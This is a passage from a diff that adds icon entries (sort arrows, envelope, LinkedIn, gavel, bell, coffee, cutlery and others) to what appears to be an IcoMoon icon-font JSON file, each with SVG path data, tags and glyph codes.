36.571-36.571h512c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-desc", + "sort-down" + ], + "defaultCode": 61661, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-desc, sort-down", + "id": 197, + "order": 1053, + "prevSize": 28, + "code": 61661 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 197 + }, + { + "icon": { + "paths": [ + "M585.143 402.286c0 20-16.571 36.571-36.571 36.571h-512c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l256-256c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l256 256c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-asc", + "sort-up" + ], + "defaultCode": 61662, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-asc, sort-up", + "id": 198, + "order": 1054, + "prevSize": 28, + "code": 61662 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 198 + }, + { + "icon": { + "paths": [ + "M1024 405.714v453.714c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-453.714c17.143 18.857 36.571 35.429 57.714 49.714 94.857 64.571 190.857 129.143 284 197.143 48 35.429 107.429 78.857 169.714 78.857h1.143c62.286 0 121.714-43.429 169.714-78.857 93.143-67.429 189.143-132.571 284.571-197.143 20.571-14.286 40-30.857 57.143-49.714zM1024 237.714c0 64-47.429 121.714-97.714 156.571-89.143 61.714-178.857 123.429-267.429 185.714-37.143 25.714-100 78.286-146.286 78.286h-1.143c-46.286 0-109.143-52.571-146.286-78.286-88.571-62.286-178.286-124-266.857-185.714-40.571-27.429-98.286-92-98.286-144 0-56 30.286-104 91.429-104h841.143c49.714 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envelope" + ], + "defaultCode": 61664, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envelope", + "id": 199, + "order": 1055, + "prevSize": 28, + "code": 61664 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 199 + }, + { + "icon": { + "paths": [ + "M199.429 357.143v566.286h-188.571v-566.286h188.571zM211.429 182.286c0.571 54.286-40.571 97.714-106.286 97.714v0h-1.143c-63.429 0-104-43.429-104-97.714 0-55.429 42.286-97.714 106.286-97.714 64.571 0 104.571 42.286 105.143 97.714zM877.714 598.857v324.571h-188v-302.857c0-76-27.429-128-95.429-128-52 0-82.857 34.857-96.571 68.571-4.571 12.571-6.286 29.143-6.286 46.286v316h-188c2.286-513.143 0-566.286 0-566.286h188v82.286h-1.143c24.571-38.857 69.143-95.429 170.857-95.429 124 0 216.571 81.143 216.571 254.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linkedin" + ], + "defaultCode": 61665, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "linkedin", + "id": 200, + "order": 1056, + "prevSize": 28, + "code": 61665 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 200 + }, + { + "icon": { + "paths": [ + "M877.714 512c0 241.714-197.143 438.857-438.857 438.857-130.857 0-254.286-57.714-337.714-158.286-5.714-7.429-5.143-18.286 1.143-24.571l78.286-78.857c4-3.429 9.143-5.143 14.286-5.143 5.143 0.571 10.286 2.857 13.143 6.857 56 72.571 140 113.714 230.857 113.714 161.143 0 292.571-131.429 292.571-292.571s-131.429-292.571-292.571-292.571c-74.857 0-145.714 28.571-198.857 78.286l78.286 78.857c10.857 10.286 13.714 26.286 8 39.429-5.714 13.714-18.857 22.857-33.714 22.857h-256c-20 0-36.571-16.571-36.571-36.571v-256c0-14.857 9.143-28 22.857-33.714 13.143-5.714 29.143-2.857 39.429 8l74.286 73.714c80.571-76 189.714-121.143 302.286-121.143 241.714 0 438.857 197.143 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rotate-left", + "undo" + ], + "defaultCode": 61666, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "rotate-left, undo", + "id": 201, + "order": 1057, + "prevSize": 28, + "code": 61666 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 201 + }, + { + "icon": { + "paths": [ + "M1012 877.714c0 19.429-8 38.286-21.143 51.429l-61.143 61.714c-13.714 13.143-32.571 21.143-52 21.143s-38.286-8-51.429-21.143l-207.429-208c-13.714-13.143-21.714-32-21.714-51.429 0-21.714 9.143-39.429 24.571-54.857l-146.286-146.286-72 72c-5.143 5.143-12 8-19.429 8s-14.286-2.857-19.429-8c17.143 17.143 33.143 29.714 33.143 56 0 14.857-5.714 28-16 38.857-19.429 20.571-40 48-70.857 48-14.286 0-28.571-5.714-38.857-16l-233.143-233.143c-10.286-10.286-16-24.571-16-38.857 0-30.857 27.429-51.429 48-70.857 10.857-10.286 24-16 38.857-16 26.286 0 38.857 16 56 33.143-5.143-5.143-8-12-8-19.429s2.857-14.286 8-19.429l198.857-198.857c5.143-5.143 12-8 19.429-8s14.286 2.857 19.429 8c-17.143-17.143-33.143-29.714-33.143-56 0-14.857 5.714-28 16-38.857 19.429-20.571 40-48 70.857-48 14.286 0 28.571 5.714 38.857 16l233.143 233.143c10.286 10.286 16 24.571 16 38.857 0 30.857-27.429 51.429-48 70.857-10.857 10.286-24 16-38.857 16-26.286 0-38.857-16-56-33.143 5.143 5.143 8 12 8 19.429s-2.857 14.286-8 19.429l-72 72 146.286 146.286c15.429-15.429 33.143-24.571 54.857-24.571 19.429 0 38.286 8 52 21.143l207.429 207.429c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 1034.8251428571427, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gavel", + "legal" + ], + "defaultCode": 61667, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gavel, legal", + "id": 202, + "order": 1058, + "prevSize": 28, + "code": 61667 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 202 + }, + { + "icon": { + "paths": [ + "M219.429 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM329.143 402.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM573.714 677.143l57.714-218.286c4.571-19.429-6.857-39.429-26.286-44.571v0c-19.429-5.143-39.429 6.857-44.571 26.286l-57.714 218.286c-45.143 3.429-84.571 34.857-97.143 81.143-15.429 58.857 20 118.857 78.286 134.286 58.857 15.429 118.857-20 134.286-78.286 12-46.286-7.429-93.143-44.571-118.857zM950.857 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM585.143 292.571c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM841.143 402.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM1024 658.286c0 98.286-28 193.143-80.571 276-6.857 10.286-18.286 16.571-30.857 16.571h-801.143c-12.571 0-24-6.286-30.857-16.571-52.571-82.286-80.571-177.714-80.571-276 0-282.286 229.714-512 512-512s512 229.714 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dashboard", + "tachometer" + ], + "defaultCode": 61668, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dashboard, tachometer", + "id": 203, + "order": 1059, + "prevSize": 28, + "code": 61668 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 203 + }, + { + "icon": { + "paths": [ + "M512 219.429c-237.714 0-438.857 133.714-438.857 292.571 0 85.143 57.143 166.286 156 222.286l49.714 28.571-15.429 54.857c-10.857 40.571-25.143 72-40 98.286 57.714-24 110.286-56.571 157.143-97.714l24.571-21.714 32.571 3.429c24.571 2.857 49.714 4.571 74.286 4.571 237.714 0 438.857-133.714 438.857-292.571s-201.143-292.571-438.857-292.571zM1024 512c0 202.286-229.143 365.714-512 365.714-28 0-56-1.714-82.857-4.571-74.857 66.286-164 113.143-262.857 138.286-20.571 5.714-42.857 9.714-65.143 12.571h-2.857c-11.429 0-21.714-9.143-24.571-21.714v-0.571c-2.857-14.286 6.857-22.857 15.429-33.143 36-40.571 77.143-74.857 104-170.286-117.714-66.857-193.143-170.286-193.143-286.286 0-202.286 229.143-365.714 512-365.714v0c282.857 0 512 163.429 512 365.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "comment-o" + ], + "defaultCode": 61669, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "comment-o", + "id": 204, + "order": 1060, + "prevSize": 28, + "code": 61669 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 204 + }, + { + "icon": { + "paths": [ + "M402.286 219.429c-178.286 0-329.143 100.571-329.143 219.429 0 62.857 42.286 123.429 115.429 165.714l55.429 32-20 48c12-6.857 24-14.286 35.429-22.286l25.143-17.714 30.286 5.714c28.571 5.143 57.714 8 87.429 8 178.286 0 329.143-100.571 329.143-219.429s-150.857-219.429-329.143-219.429zM402.286 146.286c222.286 0 402.286 130.857 402.286 292.571s-180 292.571-402.286 292.571c-34.857 0-68.571-3.429-100.571-9.143-47.429 33.714-101.143 58.286-158.857 73.143-15.429 4-32 6.857-49.143 9.143h-1.714c-8.571 0-16.571-6.857-18.286-16.571v0c-2.286-10.857 5.143-17.714 11.429-25.143 22.286-25.143 47.429-47.429 66.857-94.857-92.571-53.714-152-136.571-152-229.143 0-161.714 180-292.571 402.286-292.571zM872 814.286c19.429 47.429 44.571 69.714 66.857 94.857 6.286 7.429 13.714 14.286 11.429 25.143v0c-2.286 10.286-10.857 17.714-20 16.571-17.143-2.286-33.714-5.143-49.143-9.143-57.714-14.857-111.429-39.429-158.857-73.143-32 5.714-65.714 9.143-100.571 9.143-103.429 0-198.286-28.571-269.714-75.429 16.571 1.143 33.714 2.286 50.286 2.286 122.857 0 238.857-35.429 327.429-99.429 95.429-69.714 148-164 148-266.286 0-29.714-4.571-58.857-13.143-86.857 96.571 53.143 159.429 137.714 159.429 233.143 0 93.143-59.429 175.429-152 229.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "comments-o" + ], + "defaultCode": 61670, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "comments-o", + "id": 205, + "order": 1061, + "prevSize": 28, + "code": 61670 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 205 + }, + { + "icon": { + "paths": [ + "M505.714 323.429c6.286 6.857 8 16.571 4 25.143l-308.571 661.143c-4.571 8.571-13.714 14.286-24 14.286-2.286 0-5.143-0.571-8-1.143-12.571-4-20-16-17.143-28l112.571-461.714-232 57.714c-2.286 0.571-4.571 0.571-6.857 0.571-6.286 0-13.143-2.286-17.714-6.286-6.857-5.714-9.143-14.286-7.429-22.286l114.857-471.429c2.857-10.857 13.143-18.286 25.143-18.286h187.429c14.286 0 25.714 10.857 25.714 24 0 3.429-1.143 6.857-2.857 10.286l-97.714 264.571 226.286-56c2.286-0.571 4.571-1.143 6.857-1.143 7.429 0 14.286 3.429 19.429 8.571z" + ], + "width": 512.5851428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bolt", + "flash" + ], + "defaultCode": 61671, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bolt, flash", + "id": 206, + "order": 1062, + "prevSize": 28, + "code": 61671 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 206 + }, + { + "icon": { + "paths": [ + "M1024 713.143v182.857c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h54.857v-109.714h-292.571v109.714h54.857c30.286 0 54.857 24.571 54.857 54.857v182.857c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h54.857v-109.714h-292.571v109.714h54.857c30.286 0 54.857 24.571 54.857 54.857v182.857c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h54.857v-109.714c0-40 33.143-73.143 73.143-73.143h292.571v-109.714h-54.857c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857v182.857c0 30.286-24.571 54.857-54.857 54.857h-54.857v109.714h292.571c40 0 73.143 33.143 73.143 73.143v109.714h54.857c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sitemap" + ], + "defaultCode": 61672, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sitemap", + "id": 207, + "order": 1063, + "prevSize": 28, + "code": 61672 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 207 + }, + { + "icon": { + "paths": [ + "M512 473.143v331.429c0 79.429-66.857 146.286-146.286 146.286s-146.286-66.857-146.286-146.286c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571c0 38.286 34.857 73.143 73.143 73.143s73.143-34.857 73.143-73.143v-331.429c12-4 24-6.286 36.571-6.286s24.571 2.286 36.571 6.286zM950.857 488.571c0 9.714-8.571 18.286-18.286 18.286-5.143 0-9.143-2.286-13.143-5.714-33.143-30.857-64-52.571-111.429-52.571-54.286 0-101.143 33.714-132 76.571-6.857 9.714-12 20-18.286 29.714-4 6.286-8.571 9.714-16 9.714-8 0-12.571-3.429-16.571-9.714-6.286-9.714-11.429-20-18.286-29.714-30.857-42.857-77.143-76.571-131.429-76.571s-100.571 33.714-131.429 76.571c-6.857 9.714-12 20-18.286 29.714-4 6.286-8.571 9.714-16.571 9.714-7.429 0-12-3.429-16-9.714-6.286-9.714-11.429-20-18.286-29.714-30.857-42.857-77.714-76.571-132-76.571-47.429 0-78.286 21.714-111.429 52.571-4 3.429-8 5.714-13.143 5.714-9.714 0-18.286-8.571-18.286-18.286 0-1.714 0-2.857 0.571-4 52.571-216 261.143-338.286 474.857-338.286 212.571 0 423.429 122.286 474.857 338.286 0.571 1.143 0.571 2.286 0.571 4zM512 73.143v56c-12-0.571-24.571-1.143-36.571-1.143s-24.571 0.571-36.571 1.143v-56c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "umbrella" + ], + "defaultCode": 61673, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "umbrella", + "id": 208, + "order": 1064, + "prevSize": 28, + "code": 61673 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 208 + }, + { + "icon": { + "paths": [ + "M438.857 950.857h512v-365.714h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-219.429v658.286zM585.143 128v-36.571c0-9.714-8.571-18.286-18.286-18.286h-402.286c-9.714 0-18.286 8.571-18.286 18.286v36.571c0 9.714 8.571 18.286 18.286 18.286h402.286c9.714 0 18.286-8.571 18.286-18.286zM731.429 512h170.857l-170.857-170.857v170.857zM1024 585.143v384c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-91.429h-310.857c-30.286 0-54.857-24.571-54.857-54.857v-768c0-30.286 24.571-54.857 54.857-54.857h621.714c30.286 0 54.857 24.571 54.857 54.857v187.429c7.429 4.571 14.286 9.714 20.571 16l233.143 233.143c21.714 21.714 38.857 63.429 38.857 93.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "clipboard", + "paste" + ], + "defaultCode": 61674, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "clipboard, paste", + "id": 209, + "order": 1065, + "prevSize": 28, + "code": 61674 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 209 + }, + { + "icon": { + "paths": [ + "M420.571 329.143c0 9.714-8.571 18.286-18.286 18.286s-18.286-8.571-18.286-18.286c0-39.429-61.143-54.857-91.429-54.857-9.714 0-18.286-8.571-18.286-18.286s8.571-18.286 18.286-18.286c53.143 0 128 28 128 91.429zM512 329.143c0-114.286-116-182.857-219.429-182.857s-219.429 68.571-219.429 182.857c0 36.571 14.857 74.857 38.857 102.857 10.857 12.571 23.429 24.571 34.857 37.714 40.571 48.571 74.857 105.714 80.571 170.286h130.286c5.714-64.571 40-121.714 80.571-170.286 11.429-13.143 24-25.143 34.857-37.714 24-28 38.857-66.286 38.857-102.857zM585.143 329.143c0 58.857-19.429 109.714-58.857 153.143s-91.429 104.571-96 165.714c16.571 9.714 26.857 28 26.857 46.857 0 13.714-5.143 26.857-14.286 36.571 9.143 9.714 14.286 22.857 14.286 36.571 0 18.857-9.714 36-25.714 46.286 4.571 8 7.429 17.714 7.429 26.857 0 37.143-29.143 54.857-62.286 54.857-14.857 33.143-48 54.857-84 54.857s-69.143-21.714-84-54.857c-33.143 0-62.286-17.714-62.286-54.857 0-9.143 2.857-18.857 7.429-26.857-16-10.286-25.714-27.429-25.714-46.286 0-13.714 5.143-26.857 14.286-36.571-9.143-9.714-14.286-22.857-14.286-36.571 0-18.857 10.286-37.143 26.857-46.857-4.571-61.143-56.571-122.286-96-165.714s-58.857-94.286-58.857-153.143c0-155.429 148-256 292.571-256s292.571 100.571 292.571 256z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lightbulb-o" + ], + "defaultCode": 61675, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "lightbulb-o", + "id": 210, + "order": 1066, + "prevSize": 28, + "code": 61675 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 210 + }, + { + "icon": { + "paths": [ + "M1024 676.571v109.714c0 9.714-8.571 18.286-18.286 18.286h-786.286v109.714c0 9.714-8 18.286-18.286 18.286-5.143 0-9.714-2.286-13.714-5.714l-182.286-182.857c-3.429-3.429-5.143-8-5.143-12.571 0-5.143 1.714-9.714 5.143-13.143l182.857-182.857c3.429-3.429 8.571-5.143 13.143-5.143 9.714 0 18.286 8 18.286 18.286v109.714h786.286c9.714 0 18.286 8 18.286 18.286zM1024 365.714c0 4.571-1.714 9.714-5.143 13.143l-182.857 182.857c-3.429 3.429-8.571 5.143-13.143 5.143-9.714 0-18.286-8.571-18.286-18.286v-109.714h-786.286c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h786.286v-109.714c0-10.286 8-18.286 18.286-18.286 5.143 0 9.714 2.286 13.714 5.714l182.286 182.286c3.429 3.429 5.143 8.571 5.143 13.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exchange" + ], + "defaultCode": 61676, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "exchange", + "id": 211, + "order": 1067, + "prevSize": 28, + "code": 61676 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 211 + }, + { + "icon": { + "paths": [ + "M731.429 530.286c0-10.286-8-18.286-18.286-18.286h-128v-201.143c0-9.714-8.571-18.286-18.286-18.286h-109.714c-9.714 0-18.286 8.571-18.286 18.286v201.143h-128c-10.286 0-18.286 8.571-18.286 18.286 0 4.571 1.714 9.714 5.143 13.143l201.143 201.143c3.429 3.429 8 5.143 13.143 5.143 4.571 0 9.714-1.714 13.143-5.143l200.571-200.571c3.429-4 5.714-8.571 5.714-13.714zM1097.143 658.286c0 121.143-98.286 219.429-219.429 219.429h-621.714c-141.143 0-256-114.857-256-256 0-99.429 57.714-189.714 147.429-231.429-0.571-8.571-1.143-16.571-1.143-24.571 0-161.714 130.857-292.571 292.571-292.571 118.857 0 225.714 72 270.857 181.714 26.286-22.857 60-35.429 94.857-35.429 80.571 0 146.286 65.714 146.286 146.286 0 28-8 55.429-23.429 78.857 99.429 23.429 169.714 112 169.714 213.714z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud-download" + ], + "defaultCode": 61677, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cloud-download", + "id": 212, + "order": 1068, + "prevSize": 28, + "code": 61677 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 212 + }, + { + "icon": { + "paths": [ + "M731.429 493.714c0-4.571-1.714-9.714-5.143-13.143l-201.143-201.143c-3.429-3.429-8-5.143-13.143-5.143-4.571 0-9.714 1.714-13.143 5.143l-200.571 200.571c-3.429 4-5.714 8.571-5.714 13.714 0 10.286 8 18.286 18.286 18.286h128v201.143c0 9.714 8.571 18.286 18.286 18.286h109.714c9.714 0 18.286-8.571 18.286-18.286v-201.143h128c10.286 0 18.286-8.571 18.286-18.286zM1097.143 658.286c0 121.143-98.286 219.429-219.429 219.429h-621.714c-141.143 0-256-114.857-256-256 0-99.429 57.714-189.714 147.429-231.429-0.571-8.571-1.143-16.571-1.143-24.571 0-161.714 130.857-292.571 292.571-292.571 118.857 0 225.714 72 270.857 181.714 26.286-22.857 60-35.429 94.857-35.429 80.571 0 146.286 65.714 146.286 146.286 0 28-8 55.429-23.429 78.857 99.429 23.429 169.714 112 169.714 213.714z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud-upload" + ], + "defaultCode": 61678, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cloud-upload", + "id": 213, + "order": 1069, + "prevSize": 28, + "code": 61678 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 213 + }, + { + "icon": { + "paths": [ + "M219.429 768c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571 36.571 16.571 36.571 36.571zM804.571 802.857c0 93.143-61.143 148-152.571 148h-499.429c-91.429 0-152.571-54.857-152.571-148 0-113.714 22.857-293.143 158.857-322.857-9.143 21.714-12.571 45.143-12.571 68.571v116c-44 15.429-73.143 57.143-73.143 103.429 0 60.571 49.143 109.714 109.714 109.714s109.714-49.143 109.714-109.714c0-46.286-29.714-88-73.143-103.429v-116c0-18.857 1.714-37.714 14.286-53.143 48 37.714 107.429 59.429 168.571 59.429s120.571-21.714 168.571-59.429c12.571 15.429 14.286 34.286 14.286 53.143v36.571c-80.571 0-146.286 65.714-146.286 146.286v50.857c-11.429 10.286-18.286 25.143-18.286 40.571 0 30.286 24.571 54.857 54.857 54.857s54.857-24.571 54.857-54.857c0-15.429-6.857-30.286-18.286-40.571v-50.857c0-40 33.143-73.143 73.143-73.143s73.143 33.143 73.143 73.143v50.857c-11.429 10.286-18.286 25.143-18.286 40.571 0 30.286 24.571 54.857 54.857 54.857s54.857-24.571 54.857-54.857c0-15.429-6.857-30.286-18.286-40.571v-50.857c0-52-28-100.571-73.143-126.286 0-41.714 4-86.286-12.571-125.143 136 29.714 158.857 209.143 158.857 322.857zM621.714 292.571c0 121.143-98.286 219.429-219.429 219.429s-219.429-98.286-219.429-219.429 98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-md" + ], + "defaultCode": 61680, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-md", + "id": 214, + "order": 1070, + "prevSize": 28, + "code": 61680 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 214 + }, + { + "icon": { + "paths": [ + "M731.429 402.286c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM804.571 402.286c0 48-30.286 88-73.143 103.429v225.714c0 121.143-114.857 219.429-256 219.429s-256-98.286-256-219.429v-75.429c-124-15.429-219.429-106.857-219.429-217.143v-292.571c0-20 16.571-36.571 36.571-36.571 3.429 0 6.286 0.571 9.143 1.143 12.571-22.286 36.571-37.714 64-37.714 40.571 0 73.143 32.571 73.143 73.143s-32.571 73.143-73.143 73.143c-13.143 0-25.714-4-36.571-10.286v229.714c0 80.571 82.286 146.286 182.857 146.286s182.857-65.714 182.857-146.286v-229.714c-10.857 6.286-23.429 10.286-36.571 10.286-40.571 0-73.143-32.571-73.143-73.143s32.571-73.143 73.143-73.143c27.429 0 51.429 15.429 64 37.714 2.857-0.571 5.714-1.143 9.143-1.143 20 0 36.571 16.571 36.571 36.571v292.571c0 110.286-95.429 201.714-219.429 217.143v75.429c0 80.571 82.286 146.286 182.857 146.286s182.857-65.714 182.857-146.286v-225.714c-42.857-15.429-73.143-55.429-73.143-103.429 0-60.571 49.143-109.714 109.714-109.714s109.714 49.143 109.714 109.714z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stethoscope" + ], + "defaultCode": 61681, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stethoscope", + "id": 215, + "order": 1071, + "prevSize": 28, + "code": 61681 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 215 + }, + { + "icon": { + "paths": [ + "M365.714 219.429h292.571v-73.143h-292.571v73.143zM164.571 219.429v731.429h-36.571c-70.286 0-128-57.714-128-128v-475.429c0-70.286 57.714-128 128-128h36.571zM804.571 219.429v731.429h-585.143v-731.429h73.143v-91.429c0-30.286 24.571-54.857 54.857-54.857h329.143c30.286 0 54.857 24.571 54.857 54.857v91.429h73.143zM1024 347.429v475.429c0 70.286-57.714 128-128 128h-36.571v-731.429h36.571c70.286 0 128 57.714 128 128z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "suitcase" + ], + "defaultCode": 61682, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "suitcase", + "id": 216, + "order": 1072, + "prevSize": 28, + "code": 61682 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 216 + }, + { + "icon": { + "paths": [ + "M521.143 969.143c0-5.143-4-9.143-9.143-9.143-45.143 0-82.286-37.143-82.286-82.286 0-5.143-4-9.143-9.143-9.143s-9.143 4-9.143 9.143c0 55.429 45.143 100.571 100.571 100.571 5.143 0 9.143-4 9.143-9.143zM987.429 804.571c0 40-33.143 73.143-73.143 73.143h-256c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286h-256c-40 0-73.143-33.143-73.143-73.143 84.571-71.429 182.857-199.429 182.857-475.429 0-109.714 90.857-229.714 242.286-252-2.857-6.857-4.571-14.286-4.571-22.286 0-30.286 24.571-54.857 54.857-54.857s54.857 24.571 54.857 54.857c0 8-1.714 15.429-4.571 22.286 151.429 22.286 242.286 142.286 242.286 252 0 276 98.286 404 182.857 475.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bell" + ], + "defaultCode": 61683, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bell", + "id": 217, + "order": 1073, + "prevSize": 28, + "code": 61683 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 217 + }, + { + "icon": { + "paths": [ + "M950.857 365.714c0-60.571-49.143-109.714-109.714-109.714h-36.571v219.429h36.571c60.571 0 109.714-49.143 109.714-109.714zM0 804.571h1024c0 80.571-65.714 146.286-146.286 146.286h-731.429c-80.571 0-146.286-65.714-146.286-146.286zM1060.571 365.714c0 121.143-98.286 219.429-219.429 219.429h-36.571v18.286c0 70.286-57.714 128-128 128h-402.286c-70.286 0-128-57.714-128-128v-420.571c0-20 16.571-36.571 36.571-36.571h658.286c121.143 0 219.429 98.286 219.429 219.429z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "coffee" + ], + "defaultCode": 61684, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "coffee", + "id": 218, + "order": 1074, + "prevSize": 28, + "code": 61684 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 218 + }, + { + "icon": { + "paths": [ + "M365.714 36.571v365.714c0 46.286-29.714 88-73.143 103.429v445.143c0 40-33.143 73.143-73.143 73.143h-73.143c-40 0-73.143-33.143-73.143-73.143v-445.143c-43.429-15.429-73.143-57.143-73.143-103.429v-365.714c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v237.714c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571v-237.714c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v237.714c0 20 16.571 36.571 36.571 36.571s36.571-16.571 36.571-36.571v-237.714c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571zM804.571 36.571v914.286c0 40-33.143 73.143-73.143 73.143h-73.143c-40 0-73.143-33.143-73.143-73.143v-292.571h-128c-9.714 0-18.286-8.571-18.286-18.286v-457.143c0-100.571 82.286-182.857 182.857-182.857h146.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cutlery" + ], + "defaultCode": 61685, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cutlery", + "id": 219, + "order": 1075, + "prevSize": 28, + "code": 61685 + }, + "setIdx": 1, + "setId": 3, + 